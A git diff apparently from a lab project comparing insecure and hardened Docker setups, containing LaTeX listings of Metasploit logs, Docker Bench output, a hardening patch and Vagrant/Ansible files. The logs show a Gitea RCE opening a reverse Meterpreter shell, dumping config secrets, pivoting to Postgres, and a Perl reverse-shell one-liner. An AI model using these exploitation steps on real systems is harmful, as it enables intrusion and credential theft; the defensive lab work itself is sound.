+RHOSTS => 192.168.56.10
+msf6 exploit(multi/http/gitea_git_fetch_rce) > set RPORT 3000
+RPORT => 3000
+msf6 exploit(multi/http/gitea_git_fetch_rce) > set SSL false
+SSL => false
+msf6 exploit(multi/http/gitea_git_fetch_rce) > set username demo_user
+username => demo_user
+msf6 exploit(multi/http/gitea_git_fetch_rce) > set password demo_user
+password => demo_user
+msf6 exploit(multi/http/gitea_git_fetch_rce) > run
+[*] Started reverse TCP handler on 192.168.56.20:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Version detected: 1.16.6
+[*] Using URL: http://192.168.56.20:8080/
+[*] Using URL: http://192.168.56.20:8080/6usOy2
+[*] Client 192.168.56.10 (curl/7.79.1) requested /6usOy2
+[*] Sending payload to 192.168.56.10 (curl/7.79.1)
+[*] Sending stage (3045380 bytes) to 192.168.56.10
+[*] Meterpreter session 1 opened (192.168.56.20:4444 -> 192.168.56.10:48350) at 2025-05-19 07:35:34 -0400
+[*] Command Stager progress - 100.00% done (112/112 bytes)
+
+meterpreter > sysinfo
+Computer : 172.18.0.2
+OS : (Linux 5.15.0-135-generic)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+\end{minted}
+\end{code}
+
+\begin{code}
+\captionof{listing}{The shell of the Gitea Docker container (insecure system); shell commands have been prefixed with a \texttt{\textgreater} for readability, this symbol is not present in the original outputs}
+\label{log:insecure:gitea:shell}
+\begin{minted}[breaklines,fontsize=\footnotesize,breakanywhere]{shell}
+meterpreter > shell
+Process 172 created.
+Channel 1 created.
+> env
+USER=git
+SHLVL=1
+HOME=/data/git
+PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/system/bin:/system/sbin:/system/xbin
+LANG=C
+PWD=/data/git/repositories/demo_user/wssbr3glpme5a.git
+> ls /data
+git
+gitea
+ssh
+> ls /data/gitea
+attachments
+avatars
+conf
+indexers
+jwt
+log
+queues
+repo-archive
+repo-avatars
+> ls /data/gitea/conf
+app.ini
+> cat /data/gitea/conf/app.ini
+APP_NAME = Gitea: Git with a cup of tea
+RUN_MODE = prod
+
+[repository]
+ROOT = /data/git/repositories
+
+[repository.local]
+LOCAL_COPY_PATH = /data/gitea/tmp/local-repo
+
+[repository.upload]
+TEMP_PATH = /data/gitea/uploads
+
+[server]
+APP_DATA_PATH = /data/gitea
+DOMAIN = localhost
+SSH_DOMAIN = localhost
+HTTP_PORT = 3000
+ROOT_URL = https://gitea.vm.local/
+DISABLE_SSH = false
+SSH_PORT = 22
+SSH_LISTEN_PORT = 22
+LFS_START_SERVER = false
+LFS_CONTENT_PATH = /data/git/lfs
+
+[database]
+PATH = /data/gitea/gitea.db
+DB_TYPE = postgres
+HOST = postgres:5432
+NAME = gitea
+USER = gitea
+PASSWD = gitea
+LOG_SQL = false
+
+...
+
+[log]
+MODE = console
+LEVEL = info
+ROUTER = console
+ROOT_PATH = /data/gitea/log
+
+[security]
+INSTALL_LOCK = true
+SECRET_KEY =
+REVERSE_PROXY_LIMIT = 1
+REVERSE_PROXY_TRUSTED_PROXIES = *
+INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3NDc2NTQxMTB9.qXWoxugJwfYRPl1mm8pQ_Z1dreWr2A2I4Aol5edV8o4
+
+[service]
+DISABLE_REGISTRATION = false
+REQUIRE_SIGNIN_VIEW = false
+
+[migrations]
+ALLOW_LOCALNETWORKS = true
+\end{minted}
+\end{code}
+
+\begin{code}
+\captionof{listing}{Establishing a metasploit postgres session on the insecure system}
+\label{log:insecure:postgres_session}
+\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
+meterpreter > resolve postgres
+
+Host resolutions
+================
+
+ Hostname IP Address
+ -------- ----------
+ postgres 172.18.0.1
+
+meterpreter > portfwd add -l 5432 -p 5432 -r 172.18.0.1
+[*] Forward TCP relay created: (local) :5432 -> (remote) 172.18.0.1:5432
+meterpreter > background
+[*] Backgrounding session 1...
+msf6 > use auxiliary/scanner/postgres/postgres_login
+[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
+msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 127.0.0.1
+RHOSTS => 127.0.0.1
+msf6 auxiliary(scanner/postgres/postgres_login) > set USERNAME gitea
+USERNAME => gitea
+msf6 auxiliary(scanner/postgres/postgres_login) > set PASSWORD gitea
+PASSWORD => gitea
+msf6 auxiliary(scanner/postgres/postgres_login) > set DATABASE gitea
+DATABASE => gitea
+msf6 auxiliary(scanner/postgres/postgres_login) > set STOP_ON_SUCCESS true
+STOP_ON_SUCCESS => true
+msf6 auxiliary(scanner/postgres/postgres_login) > run
+[!] No active DB -- Credential data will not be saved!
+[+] 127.0.0.1:5432 - Login Successful: gitea:gitea@gitea
+[*] PostgreSQL session 2 opened (127.0.0.1:45027 -> 127.0.0.1:5432) at 2025-05-19 07:55:46 -0400
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Bruteforce completed, 1 credential was successful.
+[*] 1 Postgres session was opened successfully.
+[*] Auxiliary module execution completed
+\end{minted}
+\end{code}
+
+\begin{code}
+\captionof{listing}{metasploit auxiliary/scanner/postgres/postgres\_version module; shown on the hybrid system (client)}
+\label{log:insecure:postgres_exploit_version}
+\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
+msf6 > use auxiliary/scanner/postgres/postgres_version
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+msf6 auxiliary(scanner/postgres/postgres_version) > set SESSION 2
+SESSION => 2
+msf6 auxiliary(scanner/postgres/postgres_version) > run
+[*] 127.0.0.1:5432 Postgres - Version PostgreSQL 9.6.24 on x86_64-pc-linux-gnu (Ubuntu 9.6.24-10.pgdg22.04+1), compiled by gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, 64-bit (Post-Auth)
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+\end{minted}
+\end{code}
+
+\begin{code}
+\captionof{listing}{metasploit xploit/multi/postgres/postgres\_copy\_from\_program\_cmd\_exec module; shown on the hybrid system (client)}
+\label{log:insecure:postgres_exploit_rce}
+\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
+msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
+[*] Using configured payload cmd/unix/reverse_perl
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set SESSION 2
+SESSION => 2
+msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST 192.168.56.20
+LHOST => 192.168.56.20msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run
+[*] Started reverse TCP handler on 192.168.56.20:4444
+[*] : - PostgreSQL 9.6.24 on x86_64-pc-linux-gnu (Ubuntu 9.6.24-10.pgdg22.04+1), compiled by gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, 64-bit
+[*] Exploiting...
+[+] 127.0.0.1:5432 - gqBG2W1VfJT dropped successfully
+[+] 127.0.0.1:5432 - gqBG2W1VfJT created successfully
+[!] 127.0.0.1:5432 - Unable to execute query: COPY "gqBG2W1VfJT" FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.56.20:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};''';
+[-] Insufficient permissions, User must be superuser or in pg_read_server_files group
+[-] Exploit Failed
+\end{minted}
+\end{code}
+
+\begin{code}
+\captionof{listing}{metasploit uxiliary/admin/postgres/postgres\_sql module; shown on the hybrid system (client)}
+\label{log:insecure:postgres_exploit_sql}
+\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
+msf6 > use auxiliary/admin/postgres/postgres_sql
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+msf6 auxiliary(admin/postgres/postgres_sql) > set SESSION 2
+SESSION => 2
+msf6 auxiliary(admin/postgres/postgres_sql) > set SQL 'SELECT version();'
+SQL => SELECT version();
+msf6 auxiliary(admin/postgres/postgres_sql) > run
+Query Text: 'SELECT version();'
+===============================
+
+ version
+ -------
+ PostgreSQL 9.6.24 on x86_64-pc-linux-gnu (Ubuntu 9.6.24-10.pgdg22.04+1), compiled by gcc (U
+ buntu 11.4.0-1ubuntu1~22.04) 11.4.0, 64-bit
+
+[*] Auxiliary module execution completed
+msf6 auxiliary(admin/postgres/postgres_sql) > set SQL "SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'user';"
+SQL => SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'user';
+msf6 auxiliary(admin/postgres/postgres_sql) > run
+Query Text: 'SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'user';'
+==================================================================================================================================
+
+ column_name data_type
+ ----------- ---------
+ allow_create_organization boolean
+ allow_git_hook boolean
+ allow_import_local boolean
+ avatar character varying
+ ...
+ login_name character varying
+ login_source bigint
+ login_type integer
+ ...
+ passwd character varying
+ passwd_hash_algo character varying
+ ...
+ salt character varying
+ ...
+
+[*] Auxiliary module execution completed
+\end{minted}
+\end{code}
+
\begin{code}
\captionof{listing}{\texttt{metasploit}}
\label{log:base:metasploit:test}
@@ -1647,4 +2572,196 @@ Section C - Score[0m
\end{minted}
\end{code}
+\begin{code}
+\captionof{listing}{Hardened configuration}
+\label{docker_bench:hardened}
+\begin{minted}[breaklines,tabsize=2,breakanywhere,fontsize=\footnotesize]{text}
+Initializing 2025-05-19T16:22:41+00:00
+
+
+Section A - Check results[0m
+
+[INFO][0m 1 - Host Configuration
+[INFO][0m 1.1 - Linux Hosts Specific Configuration
+[WARN][0m 1.1.1 - Ensure a separate partition for containers has been created (Automated)
+[INFO][0m 1.1.2 - Ensure only trusted users are allowed to control Docker daemon (Automated)
+[INFO][0m * Users: vagrant,git
+[PASS][0m 1.1.3 - Ensure auditing is configured for the Docker daemon (Automated)
+[PASS][0m 1.1.4 - Ensure auditing is configured for Docker files and directories -/run/containerd (Automated)
+[PASS][0m 1.1.5 - Ensure auditing is configured for Docker files and directories - /var/lib/docker (Automated)
+[PASS][0m 1.1.6 - Ensure auditing is configured for Docker files and directories - /etc/docker (Automated)
+[PASS][0m 1.1.7 - Ensure auditing is configured for Docker files and directories - docker.service (Automated)
+[PASS][0m 1.1.8 - Ensure auditing is configured for Docker files and directories - containerd.sock (Automated)
+[WARN][0m 1.1.9 - Ensure auditing is configured for Docker files and directories - docker.socket (Automated)
+[PASS][0m 1.1.10 - Ensure auditing is configured for Docker files and directories - /etc/default/docker (Automated)
+[PASS][0m 1.1.11 - Ensure auditing is configured for Dockerfiles and directories - /etc/docker/daemon.json (Automated)
+[PASS][0m 1.1.12 - 1.1.12 Ensure auditing is configured for Dockerfiles and directories - /etc/containerd/config.toml (Automated)
+[INFO][0m 1.1.13 - Ensure auditing is configured for Docker files and directories - /etc/sysconfig/docker (Automated)
+[INFO][0m * File not found
+[WARN][0m 1.1.14 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd (Automated)
+[WARN][0m 1.1.15 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim (Automated)
+[WARN][0m 1.1.16 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v1 (Automated)
+[WARN][0m 1.1.17 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v2 (Automated)
+[WARN][0m 1.1.18 - Ensure auditing is configured for Docker files and directories - /usr/bin/runc (Automated)
+[INFO][0m 1.2 - General Configuration
+[NOTE][0m 1.2.1 - Ensure the container host has been Hardened (Manual)
+[PASS][0m 1.2.2 - Ensure that the version of Docker is up to date (Manual)
+[INFO][0m * Using 28.1.1 which is current
+[INFO][0m * Check with your operating system vendor for support and security maintenance for Docker
+
+[INFO][0m 2 - Docker daemon configuration
+[NOTE][0m 2.1 - Run the Docker daemon as a non-root user, if possible (Manual)
+[PASS][0m 2.2 - Ensure network traffic is restricted between containers on the default bridge (Scored)
+[PASS][0m 2.3 - Ensure the logging level is set to 'info' (Scored)
+[PASS][0m 2.4 - Ensure Docker is allowed to make changes to iptables (Scored)
+[PASS][0m 2.5 - Ensure insecure registries are not used (Scored)
+[PASS][0m 2.6 - Ensure aufs storage driver is not used (Scored)
+[INFO][0m 2.7 - Ensure TLS authentication for Docker daemon is configured (Scored)
+[INFO][0m * Docker daemon not listening on TCP
+[INFO][0m 2.8 - Ensure the default ulimit is configured appropriately (Manual)
+[INFO][0m * Default ulimit doesn't appear to be set
+[WARN][0m 2.9 - Enable user namespace support (Scored)
+[PASS][0m 2.10 - Ensure the default cgroup usage has been confirmed (Scored)
+[PASS][0m 2.11 - Ensure base device size is not changed until needed (Scored)
+[WARN][0m 2.12 - Ensure that authorization for Docker client commands is enabled (Scored)
+[WARN][0m 2.13 - Ensure centralized and remote logging is configured (Scored)
+[PASS][0m 2.14 - Ensure containers are restricted from acquiring new privileges (Scored)
+[PASS][0m 2.15 - Ensure live restore is enabled (Scored)
+[PASS][0m 2.16 - Ensure Userland Proxy is Disabled (Scored)
+[INFO][0m 2.17 - Ensure that a daemon-wide custom seccomp profile is applied if appropriate (Manual)
+[INFO][0m Ensure that experimental features are not implemented in production (Scored) (Deprecated)
+
+[INFO][0m 3 - Docker daemon configuration files
+[PASS][0m 3.1 - Ensure that the docker.service file ownership is set to root:root (Automated)
+[PASS][0m 3.2 - Ensure that docker.service file permissions are appropriately set (Automated)
+[PASS][0m 3.3 - Ensure that docker.socket file ownership is set to root:root (Automated)
+[PASS][0m 3.4 - Ensure that docker.socket file permissions are set to 644 or more restrictive (Automated)
+[PASS][0m 3.5 - Ensure that the /etc/docker directory ownership is set to root:root (Automated)
+[PASS][0m 3.6 - Ensure that /etc/docker directory permissions are set to 755 or more restrictively (Automated)
+[INFO][0m 3.7 - Ensure that registry certificate file ownership is set to root:root (Automated)
+[INFO][0m * Directory not found
+[INFO][0m 3.8 - Ensure that registry certificate file permissions are set to 444 or more restrictively (Automated)
+[INFO][0m * Directory not found
+[INFO][0m 3.9 - Ensure that TLS CA certificate file ownership is set to root:root (Automated)
+[INFO][0m * No TLS CA certificate found
+[INFO][0m 3.10 - Ensure that TLS CA certificate file permissions are set to 444 or more restrictively (Automated)
+[INFO][0m * No TLS CA certificate found
+[INFO][0m 3.11 - Ensure that Docker server certificate file ownership is set to root:root (Automated)
+[INFO][0m * No TLS Server certificate found
+[INFO][0m 3.12 - Ensure that the Docker server certificate file permissions are set to 444 or more restrictively (Automated)
+[INFO][0m * No TLS Server certificate found
+[INFO][0m 3.13 - Ensure that the Docker server certificate key file ownership is set to root:root (Automated)
+[INFO][0m * No TLS Key found
+[INFO][0m 3.14 - Ensure that the Docker server certificate key file permissions are set to 400 (Automated)
+[INFO][0m * No TLS Key found
+[PASS][0m 3.15 - Ensure that the Docker socket file ownership is set to root:docker (Automated)
+[PASS][0m 3.16 - Ensure that the Docker socket file permissions are set to 660 or more restrictively (Automated)
+[PASS][0m 3.17 - Ensure that the daemon.json file ownership is set to root:root (Automated)
+[PASS][0m 3.18 - Ensure that daemon.json file permissions are set to 644 or more restrictive (Automated)
+[PASS][0m 3.19 - Ensure that the /etc/default/docker file ownership is set to root:root (Automated)
+[PASS][0m 3.20 - Ensure that the /etc/default/docker file permissions are set to 644 or more restrictively (Automated)
+[INFO][0m 3.21 - Ensure that the /etc/sysconfig/docker file permissions are set to 644 or more restrictively (Automated)
+[INFO][0m * File not found
+[INFO][0m 3.22 - Ensure that the /etc/sysconfig/docker file ownership is set to root:root (Automated)
+[INFO][0m * File not found
+[PASS][0m 3.23 - Ensure that the Containerd socket file ownership is set to root:root (Automated)
+[PASS][0m 3.24 - Ensure that the Containerd socket file permissions are set to 660 or more restrictively (Automated)
+
+[INFO][0m 4 - Container Images and Build File
+[WARN][0m 4.1 - Ensure that a user for the container has been created (Automated)
+[WARN][0m * Running as root: vaultwarden
+[WARN][0m * Running as root: nginx
+[WARN][0m * Running as root: gitea
+[NOTE][0m 4.2 - Ensure that containers use only trusted base images (Manual)
+[NOTE][0m 4.3 - Ensure that unnecessary packages are not installed in the container (Manual)
+[NOTE][0m 4.4 - Ensure images are scanned and rebuilt to include security patches (Manual)
+[WARN][0m 4.5 - Ensure Content trust for Docker is Enabled (Automated)
+[WARN][0m 4.6 - Ensure that HEALTHCHECK instructions have been added to container images (Automated)
+[WARN][0m * No Healthcheck found: [docker.gitea.com/gitea:latest]
+[WARN][0m * No Healthcheck found: [nginx:latest]
+[PASS][0m 4.7 - Ensure update instructions are not used alone in the Dockerfile (Manual)
+[NOTE][0m 4.8 - Ensure setuid and setgid permissions are removed (Manual)
+[INFO][0m 4.9 - Ensure that COPY is used instead of ADD in Dockerfiles (Manual)
+[INFO][0m * ADD in image history: [vaultwarden/server:latest]
+[NOTE][0m 4.10 - Ensure secrets are not stored in Dockerfiles (Manual)
+[NOTE][0m 4.11 - Ensure only verified packages are installed (Manual)
+[NOTE][0m 4.12 - Ensure all signed artifacts are validated (Manual)
+
+[INFO][0m 5 - Container Runtime
+[PASS][0m 5.1 - Ensure swarm mode is not Enabled, if not needed (Automated)
+[PASS][0m 5.2 - Ensure that, if applicable, an AppArmor Profile is enabled (Automated)
+[WARN][0m 5.3 - Ensure that, if applicable, SELinux security options are set (Automated)
+[WARN][0m * No SecurityOptions Found: vaultwarden
+[WARN][0m * No SecurityOptions Found: nginx
+[WARN][0m * No SecurityOptions Found: gitea
+[PASS][0m 5.4 - Ensure that Linux kernel capabilities are restricted within containers (Automated)
+[PASS][0m 5.5 - Ensure that privileged containers are not used (Automated)
+[PASS][0m 5.6 - Ensure sensitive host system directories are not mounted on containers (Automated)
+[WARN][0m 5.7 - Ensure sshd is not run within containers (Automated)
+[WARN][0m * Container running sshd: gitea
+[WARN][0m 5.8 - Ensure privileged ports are not mapped within containers (Automated)
+[WARN][0m * Privileged Port in use: 80 in nginx
+[WARN][0m * Privileged Port in use: 443 in nginx
+[WARN][0m 5.9 - Ensure that only needed ports are open on the container (Manual)
+[WARN][0m * Port in use: 80 in nginx
+[WARN][0m * Port in use: 443 in nginx
+[PASS][0m 5.10 - Ensure that the host's network namespace is not shared (Automated)
+[PASS][0m 5.11 - Ensure that the memory usage for containers is limited (Automated)
+[PASS][0m 5.12 - Ensure that CPU priority is set appropriately on containers (Automated)
+[WARN][0m 5.13 - Ensure that the container's root filesystem is mounted as read only (Automated)
+[WARN][0m * Container running with root FS mounted R/W: vaultwarden
+[WARN][0m * Container running with root FS mounted R/W: gitea
+[WARN][0m 5.14 - Ensure that incoming container traffic is bound to a specific host interface (Automated)
+[WARN][0m * Port being bound to wildcard IP: 0.0.0.0 in nginx
+[WARN][0m * Port being bound to wildcard IP: 0.0.0.0 in nginx
+[PASS][0m 5.15 - Ensure that the 'on-failure' container restart policy is set to '5' (Automated)
+[PASS][0m 5.16 - Ensure that the host's process namespace is not shared (Automated)
+[PASS][0m 5.17 - Ensure that the host's IPC namespace is not shared (Automated)
+[PASS][0m 5.18 - Ensure that host devices are not directly exposed to containers (Manual)
+[INFO][0m 5.19 - Ensure that the default ulimit is overwritten at runtime if needed (Manual)
+[INFO][0m * Container no default ulimit override: vaultwarden
+[INFO][0m * Container no default ulimit override: nginx
+[INFO][0m * Container no default ulimit override: gitea
+[PASS][0m 5.20 - Ensure mount propagation mode is not set to shared (Automated)
+[PASS][0m 5.21 - Ensure that the host's UTS namespace is not shared (Automated)
+[PASS][0m 5.22 - Ensure the default seccomp profile is not Disabled (Automated)
+[NOTE][0m 5.23 - Ensure that docker exec commands are not used with the privileged option (Automated)
+[NOTE][0m 5.24 - Ensure that docker exec commands are not used with the user=root option (Manual)
+[PASS][0m 5.25 - Ensure that cgroup usage is confirmed (Automated)
+[PASS][0m 5.26 - Ensure that the container is restricted from acquiring additional privileges (Automated)
+[WARN][0m 5.27 - Ensure that container health is checked at runtime (Automated)
+[WARN][0m * Health check not set: nginx
+[INFO][0m 5.28 - Ensure that Docker commands always make use of the latest version of their image (Manual)
+[PASS][0m 5.29 - Ensure that the PIDs cgroup limit is used (Automated)
+[PASS][0m 5.30 - Ensure that Docker's default bridge 'docker0' is not used (Manual)
+[PASS][0m 5.31 - Ensure that the host's user namespaces are not shared (Automated)
+[PASS][0m 5.32 - Ensure that the Docker socket is not mounted inside any containers (Automated)
+
+[INFO][0m 6 - Docker Security Operations
+[INFO][0m 6.1 - Ensure that image sprawl is avoided (Manual)
+[INFO][0m * There are currently: 3 images
+[INFO][0m 6.2 - Ensure that container sprawl is avoided (Manual)
+[INFO][0m * There are currently a total of 3 containers, with 3 of them currently running
+
+[INFO][0m 7 - Docker Swarm Configuration
+[PASS][0m 7.1 - Ensure that the minimum number of manager nodes have been created in a swarm (Automated) (Swarm mode not enabled)
+[PASS][0m 7.2 - Ensure that swarm services are bound to a specific host interface (Automated) (Swarm mode not enabled)
+[PASS][0m 7.3 - Ensure that all Docker swarm overlay networks are encrypted (Automated)
+[PASS][0m 7.4 - Ensure that Docker's secret management commands are used for managing secrets in a swarm cluster (Manual) (Swarm mode not enabled)
+[PASS][0m 7.5 - Ensure that swarm manager is run in auto-lock mode (Automated) (Swarm mode not enabled)
+[PASS][0m 7.6 - Ensure that the swarm manager auto-lock key is rotated periodically (Manual) (Swarm mode not enabled)
+[PASS][0m 7.7 - Ensure that node certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
+[PASS][0m 7.8 - Ensure that CA certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
+[PASS][0m 7.9 - Ensure that management plane traffic is separated from data plane traffic (Manual) (Swarm mode not enabled)
+
+
+Section C - Score[0m
+
+[INFO][0m Checks: 117
+[INFO][0m Score: 36
+
+
+\end{minted}
+\end{code}
+
\end{document}
diff --git a/webserver/hardened.patch b/webserver/hardened.patch
new file mode 100644
index 0000000..2e6cba3
--- /dev/null
+++ b/webserver/hardened.patch
@@ -0,0 +1,171 @@
+diff --color -ruN hybrid/sandbox/docker-compose.yml hardened/sandbox/docker-compose.yml
+--- hybrid/sandbox/docker-compose.yml 2025-05-18 15:04:00.800680098 +0200
++++ hardened/sandbox/docker-compose.yml 2025-05-19 17:33:43.963243018 +0200
+@@ -14,6 +14,15 @@
+ - 80
+ extra_hosts:
+ - "postgres:172.18.0.1"
++ deploy:
++ resources:
++ limits:
++ memory: 256M
++ cpus: '0.25'
++ pids: 100
++ reservations:
++ memory: 128M
++ cpus: '0.10'
+
+ gitea:
+ image: docker.gitea.com/gitea:latest
+@@ -39,15 +48,20 @@
+ - 22
+ extra_hosts:
+ - "postgres:172.18.0.1"
+-
+- vulnerable:
+- build: /vagrant/sandbox/vuln
+- ports:
+- - 2222:22
+- networks:
+- - internal
+- extra_hosts:
+- - "postgres:172.18.0.1"
++ healthcheck:
++ test: ["CMD", "curl", "-f", "http://localhost:3000/api/healthz"]
++ interval: 1m30s
++ timeout: 10s
++ retries: 3
++ deploy:
++ resources:
++ limits:
++ memory: 512M
++ cpus: '0.50'
++ pids: 100
++ reservations:
++ memory: 256M
++ cpus: '0.25'
+
+ nginx:
+ image: nginx:latest
+@@ -59,8 +73,22 @@
+ - ./nginx.conf:/etc/nginx/conf.d/default.conf
+ - ./nginx/certs:/etc/nginx/certs
+ ports:
+- - 80:80
+- - 443:443
++ - 0.0.0.0:80:80
++ - 0.0.0.0:443:443
++ deploy:
++ resources:
++ limits:
++ memory: 128M
++ cpus: '0.25'
++ pids: 100
++ reservations:
++ memory: 64M
++ cpus: '0.10'
++ read_only: true
++ tmpfs:
++ - /tmp
++ - /run
++ - /var/cache/nginx
+
+ networks:
+ internal:
+diff --color -ruN hybrid/sandbox/playbook.yml hardened/sandbox/playbook.yml
+--- hybrid/sandbox/playbook.yml 2025-05-17 15:34:46.781062066 +0200
++++ hardened/sandbox/playbook.yml 2025-05-19 18:21:22.570964238 +0200
+@@ -20,9 +20,10 @@
+ - acl
+ - bc
+ - sysstat
++ - auditd
+ state: latest
+ update_cache: true
+-
++
+ - name: Copy nginx conf
+ copy:
+ src: /vagrant/sandbox/nginx.conf
+@@ -209,6 +210,63 @@
+ state: present
+ notify: Restart PostgreSQL
+
++ - name: Configure audit rules for Docker
++ copy:
++ dest: /etc/audit/rules.d/docker.rules
++ owner: root
++ group: root
++ mode: '0640'
++ content: |
++ -w /usr/bin/dockerd -k docker
++ -w /run/containerd -k docker
++ -w /var/lib/docker -k docker
++ -w /etc/docker -k docker
++ -w /lib/systemd/system/docker.service -k docker
++ -w /run/containerd/containerd.sock -k docker
++ -w /var/run/docker.sock -k docker
++ -w /etc/default/docker -k docker
++ -w /etc/docker/daemon.json -k docker
++ -w /etc/containerd/config.toml -k docker
++ -w /etc/sysconfig/docker -k docker
++ -w /usr/bin/containerd -k docker
++ -w /usr/bin/containerd-shim -k docker
++ -w /usr/bin/containerd-shim-runc-v1 -k docker
++ -w /usr/bin/containerd-shim-runc-v2 -k docker
++ -w /usr/bin/runc -k docker
++ -w /usr/lib/systemd/system/docker.socket -k docker
++ -w /usr/bin/containerd -k docker
++ -w /usr/bin/containerd-shim -k docker
++ -w /usr/bin/containerd-shim-runc-v1 -k docker
++ -w /usr/bin/containerd-shim-runc-v2 -k docker
++ -w /usr/bin/runc -k docker
++
++ - name: Restart auditd to apply new rules
++ service:
++ name: auditd
++ state: restarted
++ enabled: yes
++
++ - name: Ensure Docker daemon configuration is hardened
++ copy:
++ dest: /etc/docker/daemon.json
++ owner: root
++ group: root
++ mode: '0644'
++ content: |
++ {
++ "live-restore": true,
++ "icc": false,
++ "no-new-privileges": true,
++ "log-level": "info",
++ "log-driver": "json-file",
++ "log-opts": {
++ "max-size": "10m",
++ "max-file": "3"
++ },
++ "userland-proxy": false
++ }
++ notify: Restart Docker
++
+ - name: Ensure Docker service is running
+ service:
+ name: docker
+@@ -220,10 +278,15 @@
+ args:
+ chdir: /home/vagrant
+
+-
+ handlers:
+ - name: Restart PostgreSQL
+ become: yes
+ service:
+ name: postgresql
++ state: restarted
++
++ - name: Restart Docker
++ become: yes
++ systemd:
++ name: docker
+ state: restarted
+\ No newline at end of file
diff --git a/webserver/hardened/Vagrantfile b/webserver/hardened/Vagrantfile
new file mode 100644
index 0000000..296c621
--- /dev/null
+++ b/webserver/hardened/Vagrantfile
@@ -0,0 +1,61 @@
+Vagrant.configure("2") do |config|
+
+ BOX_NAME = "ubuntu/jammy64"
+ BOX_VERSION = "20241002.0.0"
+
+ DESKTOP_BOX_NAME = "kalilinux/rolling"
+ DESKTOP_BOX_VERSION = "2025.1.0"
+
+ config.vm.define "sandbox" do |sandbox|
+ sandbox.vm.box = BOX_NAME
+ sandbox.vm.box_version = BOX_VERSION
+ sandbox.vm.hostname = "sandbox.vm"
+ sandbox.vm.network "private_network", ip: "192.168.56.10"
+
+ sandbox.vbguest.no_install = true
+
+ sandbox.vm.provider "virtualbox" do |v|
+ v.memory = 2048
+ v.cpus = 2
+
+ v.customize ["modifyvm", :id, "--vram", "128"]
+ v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
+ end
+
+ sandbox.vm.synced_folder ".", "/vagrant"
+
+ sandbox.vm.provision "ansible_local" do |ansible|
+ ansible.playbook = "/vagrant/sandbox/playbook.yml"
+ end
+
+ sandbox.vm.provision "file", source: "../idle_measurement.sh", destination: "$HOME/idle_measurement.sh"
+ end
+
+ config.vm.define "client" do |client|
+ client.vm.box = DESKTOP_BOX_NAME
+ client.vm.box_version = DESKTOP_BOX_VERSION
+ client.vm.hostname = "client.vm"
+ client.vm.network "private_network", ip: "192.168.56.20"
+
+ client.vbguest.installer = :debian
+
+ client.vm.provider "virtualbox" do |v|
+ v.memory = 4096
+ v.cpus = 2
+
+ v.customize ["modifyvm", :id, "--accelerate3d", "on"]
+ v.customize ["modifyvm", :id, "--vram", "128"]
+ v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
+ v.customize ["modifyvm", :id, "--clipboard-mode", "bidirectional"]
+ end
+
+ client.vm.synced_folder ".", "/vagrant"
+
+ # required, see https://forums.kali.org/t/important-blog-post-a-new-kali-linux-archive-signing-key/6986
+ client.vm.provision "shell", inline: "sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg"
+
+ client.vm.provision "ansible_local" do |ansible|
+ ansible.playbook = "/vagrant/client/playbook.yml"
+ end
+ end
+end
diff --git a/webserver/hardened/client/playbook.yml b/webserver/hardened/client/playbook.yml
new file mode 100644
index 0000000..9290240
--- /dev/null
+++ b/webserver/hardened/client/playbook.yml
@@ -0,0 +1,30 @@
+---
+- hosts: all
+ become: true
+ vars:
+ container_count: 1
+ default_container_name: docker
+ default_container_image: hello-world
+ default_container_command: sleep 1
+ tasks:
+# - name: Add Metasploit PPA
+# apt_repository:
+# repo: ppa:metasploit-official
+# state: present
+# update_cache: yes
+
+ - name: Install tools
+ apt:
+ pkg:
+# - metasploit-framework
+ - curl
+ - nmap
+ - libnss3-tools
+ state: present
+ update_cache: yes
+
+ - name: Add sandbox hostnames to /etc/hosts
+ lineinfile:
+ path: /etc/hosts
+ line: "192.168.56.10 gitea.vm.local bitwarden.vm.local vuln.vm.local"
+ state: present
\ No newline at end of file
diff --git a/webserver/hardened/sandbox/docker-compose.yml b/webserver/hardened/sandbox/docker-compose.yml
new file mode 100644
index 0000000..09e5fbe
--- /dev/null
+++ b/webserver/hardened/sandbox/docker-compose.yml
@@ -0,0 +1,99 @@
+services:
